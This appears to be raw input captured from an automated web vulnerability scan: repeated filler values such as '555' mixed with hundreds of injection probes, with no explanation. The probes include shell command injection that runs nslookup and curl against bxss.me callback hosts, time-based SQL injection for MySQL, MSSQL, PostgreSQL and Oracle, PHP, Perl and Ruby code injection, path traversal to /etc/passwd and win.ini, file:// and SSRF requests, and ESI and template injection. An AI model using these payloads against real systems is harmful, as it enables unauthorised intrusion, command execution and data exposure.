`(nslookup -q=cname hitmvfcphgfknbd0ea.bxss.me||curl hitmvfcphgfknbd0ea.bxss.me)`
555
555
555
;(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)|(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)&(nslookup -q=cname hitvpfckdiidk5cf50.bxss.me||curl hitvpfckdiidk5cf50.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hityiqenbikamd808e.bxss.me||curl${IFS}hityiqenbikamd808e.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitpqtmommkzfab662.bxss.me||curl${IFS}hitpqtmommkzfab662.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpqtmommkzfab662.bxss.me||curl${IFS}hitpqtmommkzfab662.bxss.me)&`'
'"
555
555
555
<!--
555
555
555
555
555
555
555
555
555
555
555
'"()
555
HttP://bxss.me/t/xss.html?%00
555'&&sleep(27*1000)*wrwdgl&&'
555
555
bxss.me/t/xss.html?%00
555"&&sleep(27*1000)*yyochn&&"
555
555'||sleep(27*1000)*qdowsx||'
555
555
555
555
555
555"||sleep(27*1000)*yjunul||"
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(101).concat(88).concat(99).concat(78)+(require"socket" Socket.gethostbyname("hitxo"+"qsdwilroc588c.bxss.me.")[3].to_s)+"
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
'+'A'.concat(70-3).concat(22*4).concat(105).concat(76).concat(112).concat(77)+(require'socket' Socket.gethostbyname('hitsf'+'zmgydexue857e.bxss.me.')[3].to_s)+'
';print(md5(31337));$a='
555
'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(113).concat(66)+(require'socket' Socket.gethostbyname('hitxh'+'lepzoqsd44adc.bxss.me.')[3].to_s)
555
";print(md5(31337));$a="
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
${@print(md5(31337))}
${@print(md5(31337))}\
555
555
555
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555zEyR6VZz'; waitfor delay '0:0:15' --
555-1 OR 160=(SELECT 160 FROM PG_SLEEP(15))--
555-1) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
555-1)) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
555QYHO6ikf' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
555KPzH1i0G') OR 721=(SELECT 721 FROM PG_SLEEP(15))--
555ClLpYK9u')) OR 272=(SELECT 272 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@bIQoi
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1EIi75FrO
1
1
555
1
555
1
555
1
555
1
555
1
555
1
555
555
555
555
)
555
555
!(()&&!|*|*|
555
555
^(#$!@#$)(()))******
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
555
555
bxss.me
555
${9999512+9999860}
555
555
555
555
555
555
555
555
555
555
response.write(9063432*9116830)
'+response.write(9063432*9116830)+'
555
"+response.write(9063432*9116830)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo yuyxvq$()\ wucpgh\nz^xyu||a #' &echo yuyxvq$()\ wucpgh\nz^xyu||a #|" &echo yuyxvq$()\ wucpgh\nz^xyu||a #
555
Ft5q7CII
555
&echo wnnuip$()\ bqjvbq\nz^xyu||a #' &echo wnnuip$()\ bqjvbq\nz^xyu||a #|" &echo wnnuip$()\ bqjvbq\nz^xyu||a #
U4K13QMM: MVsNYMgo
555
555&echo yhivci$()\ qyccfj\nz^xyu||a #' &echo yhivci$()\ qyccfj\nz^xyu||a #|" &echo yhivci$()\ qyccfj\nz^xyu||a #
555
|echo llyaha$()\ tbuvzw\nz^xyu||a #' |echo llyaha$()\ tbuvzw\nz^xyu||a #|" |echo llyaha$()\ tbuvzw\nz^xyu||a #
555
555|echo dpjoto$()\ onyylf\nz^xyu||a #' |echo dpjoto$()\ onyylf\nz^xyu||a #|" |echo dpjoto$()\ onyylf\nz^xyu||a #
555
(nslookup -q=cname hittsspwfunta2717e.bxss.me||curl hittsspwfunta2717e.bxss.me))
555
$(nslookup -q=cname hitmnoivdqcrj63374.bxss.me||curl hitmnoivdqcrj63374.bxss.me)
555
&nslookup -q=cname hitdprkqrkbnt856de.bxss.me&'\"`0&nslookup -q=cname hitdprkqrkbnt856de.bxss.me&`'
555
&(nslookup -q=cname hitqthxopuhml67865.bxss.me||curl hitqthxopuhml67865.bxss.me)&'\"`0&(nslookup -q=cname hitqthxopuhml67865.bxss.me||curl hitqthxopuhml67865.bxss.me)&`'
555
555
|(nslookup -q=cname hitslhcwlsgohcf16b.bxss.me||curl hitslhcwlsgohcf16b.bxss.me)
555
555
`(nslookup -q=cname hituferjonczx5b112.bxss.me||curl hituferjonczx5b112.bxss.me)`
555
;(nslookup -q=cname hitpsdkgcmdsj66ad4.bxss.me||curl hitpsdkgcmdsj66ad4.bxss.me)|(nslookup -q=cname hitpsdkgcmdsj66ad4.bxss.me||curl hitpsdkgcmdsj66ad4.bxss.me)&(nslookup -q=cname hitpsdkgcmdsj66ad4.bxss.me||curl hitpsdkgcmdsj66ad4.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitjmzpgshxuk8d09c.bxss.me||curl${IFS}hitjmzpgshxuk8d09c.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitlqgpnlzenpf1acc.bxss.me||curl${IFS}hitlqgpnlzenpf1acc.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlqgpnlzenpf1acc.bxss.me||curl${IFS}hitlqgpnlzenpf1acc.bxss.me)&`'
555
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
file:///etc/passwd
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitgj'.'utgotkon2d898.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(98).chr(65).'
555
".gethostbyname(lc("hitvi"."qvgpcqho12bd6.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(71).chr(109).chr(90)."
gethostbyname(lc('hitbr'.'sxmifbmbc3882.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(74).chr(109).chr(67)
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(122).concat(86).concat(116).concat(69)+(require"socket" Socket.gethostbyname("hitwy"+"dqumzpjd79635.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(112).concat(68).concat(102).concat(80)+(require'socket' Socket.gethostbyname('hitpj'+'rtnnmptr72170.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(114).concat(68).concat(117).concat(75)+(require'socket' Socket.gethostbyname('hitmo'+'jmrgpkhv91dc0.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
xfs.bxss.me
555
555'&&sleep(27*1000)*yafmyg&&'
555
555"&&sleep(27*1000)*kchoie&&"
555
555
555'||sleep(27*1000)*xbkadg||'
555
555
555"||sleep(27*1000)*ndmske||"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
'"
${@print(md5(31337))}\
<!--
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555JyVejRH1'; waitfor delay '0:0:15' --
555-1 OR 203=(SELECT 203 FROM PG_SLEEP(15))--
555-1) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
555-1)) OR 25=(SELECT 25 FROM PG_SLEEP(15))--
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
${10000375+9999743}
555
555
555
555
555
555
555
)
555
response.write(9297071*9121904)
555
555
555
'+response.write(9297071*9121904)+'
555
7jLx8AOT
555
!(()&&!|*|*|
555
"+response.write(9297071*9121904)+"
^(#$!@#$)(()))******
555
555
8CZ6C4N9: 5s60Ryq8
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
file:///etc/passwd
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
Http://bxss.me/t/fit.txt
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
'.gethostbyname(lc('hitgi'.'zajqabhpb2ae7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(90).chr(108).chr(86).'
".gethostbyname(lc("hitni"."keznkyama4675.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(74).chr(122).chr(90)."
555
555
gethostbyname(lc('hitlm'.'jiqfahlk77eeb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(73).chr(122).chr(86)
555
../555
555
/etc/shells
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
"+"A".concat(70-3).concat(22*4).concat(99).concat(72).concat(111).concat(69)+(require"socket" Socket.gethostbyname("hitea"+"baugukgk0b663.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(112).concat(77).concat(97).concat(81)+(require'socket' Socket.gethostbyname('hitwv'+'eehtgbvkb6026.bxss.me.')[3].to_s)+'
555
555
555
555
bxss.me
555
555
555
'A'.concat(70-3).concat(22*4).concat(115).concat(85).concat(99).concat(65)+(require'socket' Socket.gethostbyname('hitjr'+'uswefqrkf4aeb.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
echo nkhcqc$()\ ftbfif\nz^xyu||a #' &echo nkhcqc$()\ ftbfif\nz^xyu||a #|" &echo nkhcqc$()\ ftbfif\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
&echo zaopeh$()\ orgdsr\nz^xyu||a #' &echo zaopeh$()\ orgdsr\nz^xyu||a #|" &echo zaopeh$()\ orgdsr\nz^xyu||a #
555
555
555&echo brzuaq$()\ mgtlck\nz^xyu||a #' &echo brzuaq$()\ mgtlck\nz^xyu||a #|" &echo brzuaq$()\ mgtlck\nz^xyu||a #
555
555
555
555
555
555
'"()
|echo aesjsf$()\ bgyfcd\nz^xyu||a #' |echo aesjsf$()\ bgyfcd\nz^xyu||a #|" |echo aesjsf$()\ bgyfcd\nz^xyu||a #
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555'&&sleep(27*1000)*qkqcog&&'
555
';print(md5(31337));$a='
555"&&sleep(27*1000)*slzfte&&"
555|echo pfjnxm$()\ ztcsoq\nz^xyu||a #' |echo pfjnxm$()\ ztcsoq\nz^xyu||a #|" |echo pfjnxm$()\ ztcsoq\nz^xyu||a #
";print(md5(31337));$a="
555'||sleep(27*1000)*rutzjj||'
xfs.bxss.me
555
${@print(md5(31337))}
(nslookup -q=cname hitwkddviepuded371.bxss.me||curl hitwkddviepuded371.bxss.me))
${@print(md5(31337))}\
555
555
$(nslookup -q=cname hitjysfddpdkg48c8c.bxss.me||curl hitjysfddpdkg48c8c.bxss.me)
555"||sleep(27*1000)*gbdmdk||"
555
'.print(md5(31337)).'
555
555
&nslookup -q=cname hittqbggubfyld6b0a.bxss.me&'\"`0&nslookup -q=cname hittqbggubfyld6b0a.bxss.me&`'
<?php print(md5(31337));?>
&(nslookup -q=cname hitztcqruqxzp1fc3a.bxss.me||curl hitztcqruqxzp1fc3a.bxss.me)&'\"`0&(nslookup -q=cname hitztcqruqxzp1fc3a.bxss.me||curl hitztcqruqxzp1fc3a.bxss.me)&`'
555
'"
555
555
'{${print(md5(31337))}}'
<!--
555
print(md5(31337));//
|(nslookup -q=cname hitaompntxnyjde2d5.bxss.me||curl hitaompntxnyjde2d5.bxss.me)
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
`(nslookup -q=cname hitrgbygjfwhg394cd.bxss.me||curl hitrgbygjfwhg394cd.bxss.me)`
555
555
;(nslookup -q=cname hitlurtzeojoz3dedb.bxss.me||curl hitlurtzeojoz3dedb.bxss.me)|(nslookup -q=cname hitlurtzeojoz3dedb.bxss.me||curl hitlurtzeojoz3dedb.bxss.me)&(nslookup -q=cname hitlurtzeojoz3dedb.bxss.me||curl hitlurtzeojoz3dedb.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitguafihozoqc95ce.bxss.me||curl${IFS}hitguafihozoqc95ce.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitsfqrfskzlca3c3f.bxss.me||curl${IFS}hitsfqrfskzlca3c3f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsfqrfskzlca3c3f.bxss.me||curl${IFS}hitsfqrfskzlca3c3f.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555b5RHTJQX'; waitfor delay '0:0:15' --
555-1 OR 51=(SELECT 51 FROM PG_SLEEP(15))--
555-1) OR 898=(SELECT 898 FROM PG_SLEEP(15))--
555-1)) OR 609=(SELECT 609 FROM PG_SLEEP(15))--
555tkrO0QUM' OR 153=(SELECT 153 FROM PG_SLEEP(15))--
555sKIiDmb4') OR 334=(SELECT 334 FROM PG_SLEEP(15))--
555LoCazuu5')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@qzlBY
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999171+9999957}
555
555
555
555
555
555
555
)
555
555
!(()&&!|*|*|
555
555
555
555
555
555
555
555
555
EFkoWiHJ
555
response.write(9251931*9947190)
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
'+response.write(9251931*9947190)+'
555
KQ6uqji5: ivl76tQp
555
555
^(#$!@#$)(()))******
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
"+response.write(9251931*9947190)+"
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
../../../../../../../../../../../../../../windows/win.ini
Http://bxss.me/t/fit.txt
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
file:///etc/passwd
555
555
/etc/shells
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
../555
../../../../../../../../../../../../../../etc/shells
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
c:/windows/win.ini
555
555
echo mqqcfe$()\ hjuixl\nz^xyu||a #' &echo mqqcfe$()\ hjuixl\nz^xyu||a #|" &echo mqqcfe$()\ hjuixl\nz^xyu||a #
555
555
bxss.me
&echo dgqtzu$()\ fqkowp\nz^xyu||a #' &echo dgqtzu$()\ fqkowp\nz^xyu||a #|" &echo dgqtzu$()\ fqkowp\nz^xyu||a #
555
555
555
555
555
555
555&echo zuzwso$()\ qitjmu\nz^xyu||a #' &echo zuzwso$()\ qitjmu\nz^xyu||a #|" &echo zuzwso$()\ qitjmu\nz^xyu||a #
555
|echo fndfgz$()\ kzlrpr\nz^xyu||a #' |echo fndfgz$()\ kzlrpr\nz^xyu||a #|" |echo fndfgz$()\ kzlrpr\nz^xyu||a #
555
555|echo jlgecj$()\ hkhnyi\nz^xyu||a #' |echo jlgecj$()\ hkhnyi\nz^xyu||a #|" |echo jlgecj$()\ hkhnyi\nz^xyu||a #
555
555
(nslookup -q=cname hitcoljbywcaq4f43b.bxss.me||curl hitcoljbywcaq4f43b.bxss.me))
555
555
555
555
$(nslookup -q=cname hitxoumknnjisecc00.bxss.me||curl hitxoumknnjisecc00.bxss.me)
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(73).concat(108).concat(74)+(require"socket" Socket.gethostbyname("hitmy"+"jcgkodvr78f75.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(78).concat(112).concat(87)+(require'socket' Socket.gethostbyname('hitij'+'jlyieglj80a76.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(117).concat(74).concat(102).concat(73)+(require'socket' Socket.gethostbyname('hittu'+'ojbypfpcc86e5.bxss.me.')[3].to_s)
&nslookup -q=cname hitxeowbdkrjhf38c9.bxss.me&'\"`0&nslookup -q=cname hitxeowbdkrjhf38c9.bxss.me&`'
555
'.gethostbyname(lc('hitlw'.'qjhlnpxi71e98.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(70).chr(110).chr(85).'
555
&(nslookup -q=cname hitmbvppcakbf05873.bxss.me||curl hitmbvppcakbf05873.bxss.me)&'\"`0&(nslookup -q=cname hitmbvppcakbf05873.bxss.me||curl hitmbvppcakbf05873.bxss.me)&`'
555
".gethostbyname(lc("hitml"."alqnmqykf6fae.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(86).chr(105).chr(79)."
|(nslookup -q=cname hittiiuttcrwj328bd.bxss.me||curl hittiiuttcrwj328bd.bxss.me)
555
gethostbyname(lc('hituh'.'abzdvenhd498e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(70).chr(107).chr(89)
555
555
555
555
555
555
`(nslookup -q=cname hituvrxlnneunfaca4.bxss.me||curl hituvrxlnneunfaca4.bxss.me)`
555
555
555
;(nslookup -q=cname hitdposmlmwvvbe627.bxss.me||curl hitdposmlmwvvbe627.bxss.me)|(nslookup -q=cname hitdposmlmwvvbe627.bxss.me||curl hitdposmlmwvvbe627.bxss.me)&(nslookup -q=cname hitdposmlmwvvbe627.bxss.me||curl hitdposmlmwvvbe627.bxss.me)
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitxdzkahhmqv07353.bxss.me||curl${IFS}hitxdzkahhmqv07353.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitxynrejgcoa187d1.bxss.me||curl${IFS}hitxynrejgcoa187d1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxynrejgcoa187d1.bxss.me||curl${IFS}hitxynrejgcoa187d1.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
'"
555
555
<!--
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
'"()
";print(md5(31337));$a="
555
555'&&sleep(27*1000)*qpswmb&&'
${@print(md5(31337))}
555
555"&&sleep(27*1000)*ikkufe&&"
${@print(md5(31337))}\
555
555'||sleep(27*1000)*qwpgzg||'
555
555
555"||sleep(27*1000)*yvsdsr||"
555
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555kh4Kybtw'; waitfor delay '0:0:15' --
555-1 OR 92=(SELECT 92 FROM PG_SLEEP(15))--
555-1) OR 556=(SELECT 556 FROM PG_SLEEP(15))--
555-1)) OR 808=(SELECT 808 FROM PG_SLEEP(15))--
555RxEnRcPt' OR 698=(SELECT 698 FROM PG_SLEEP(15))--
5557FkXMWgN') OR 835=(SELECT 835 FROM PG_SLEEP(15))--
555GPuvUvDK')) OR 497=(SELECT 497 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555
${9999804+10000295}
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
555
555
)
!(()&&!|*|*|
555
@@cLSgP
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
response.write(9149935*9582276)
wG1OXZ2b
555
'+response.write(9149935*9582276)+'
jm7ErOVv: NuSQXEk8
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
"+response.write(9149935*9582276)+"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
/etc/shells
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
555
555
555
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
file:///etc/passwd
555
555
555
555
555
../555
555
555
echo yzlbkd$()\ yzmtuz\nz^xyu||a #' &echo yzlbkd$()\ yzmtuz\nz^xyu||a #|" &echo yzlbkd$()\ yzmtuz\nz^xyu||a #
&echo mjsifv$()\ rwayig\nz^xyu||a #' &echo mjsifv$()\ rwayig\nz^xyu||a #|" &echo mjsifv$()\ rwayig\nz^xyu||a #
555
555
555&echo uvgnxi$()\ guocvv\nz^xyu||a #' &echo uvgnxi$()\ guocvv\nz^xyu||a #|" &echo uvgnxi$()\ guocvv\nz^xyu||a #
555
'.gethostbyname(lc('hituo'.'rtlpigfie40eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(69).chr(106).chr(83).'
555
555
".gethostbyname(lc("hitge"."zskntgxa16178.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(68).chr(108).chr(88)."
555
|echo jijiyo$()\ thspmq\nz^xyu||a #' |echo jijiyo$()\ thspmq\nz^xyu||a #|" |echo jijiyo$()\ thspmq\nz^xyu||a #
555|echo nbcvvx$()\ fhtsxm\nz^xyu||a #' |echo nbcvvx$()\ fhtsxm\nz^xyu||a #|" |echo nbcvvx$()\ fhtsxm\nz^xyu||a #
gethostbyname(lc('hitwv'.'dqjzggiq96b68.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(82).chr(110).chr(90)
555
555
555
(nslookup -q=cname hitvsiqgklbue68450.bxss.me||curl hitvsiqgklbue68450.bxss.me))
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
$(nslookup -q=cname hitxpehzeuhra02a33.bxss.me||curl hitxpehzeuhra02a33.bxss.me)
555
555
&nslookup -q=cname hitucpqdzzmbg7c5dd.bxss.me&'\"`0&nslookup -q=cname hitucpqdzzmbg7c5dd.bxss.me&`'
555
555
&(nslookup -q=cname hitwyctsawses360d9.bxss.me||curl hitwyctsawses360d9.bxss.me)&'\"`0&(nslookup -q=cname hitwyctsawses360d9.bxss.me||curl hitwyctsawses360d9.bxss.me)&`'
555
555
|(nslookup -q=cname hitmladzmtcrvf1564.bxss.me||curl hitmladzmtcrvf1564.bxss.me)
555
`(nslookup -q=cname hitpslklaxwke0a650.bxss.me||curl hitpslklaxwke0a650.bxss.me)`
555
555
555
555
;(nslookup -q=cname hitrkcwpkusyveb182.bxss.me||curl hitrkcwpkusyveb182.bxss.me)|(nslookup -q=cname hitrkcwpkusyveb182.bxss.me||curl hitrkcwpkusyveb182.bxss.me)&(nslookup -q=cname hitrkcwpkusyveb182.bxss.me||curl hitrkcwpkusyveb182.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitggmnwkevlfd622d.bxss.me||curl${IFS}hitggmnwkevlfd622d.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitaqyrlphqqb09ac0.bxss.me||curl${IFS}hitaqyrlphqqb09ac0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitaqyrlphqqb09ac0.bxss.me||curl${IFS}hitaqyrlphqqb09ac0.bxss.me)&`'
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(83).concat(119).concat(74)+(require"socket" Socket.gethostbyname("hitrd"+"obuwmvou53c67.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(110).concat(73).concat(101).concat(75)+(require'socket' Socket.gethostbyname('hitgx'+'vfewvltfffe7f.bxss.me.')[3].to_s)+'
555
555
555
'A'.concat(70-3).concat(22*4).concat(113).concat(82).concat(110).concat(83)+(require'socket' Socket.gethostbyname('hithu'+'afiqoawp657a8.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
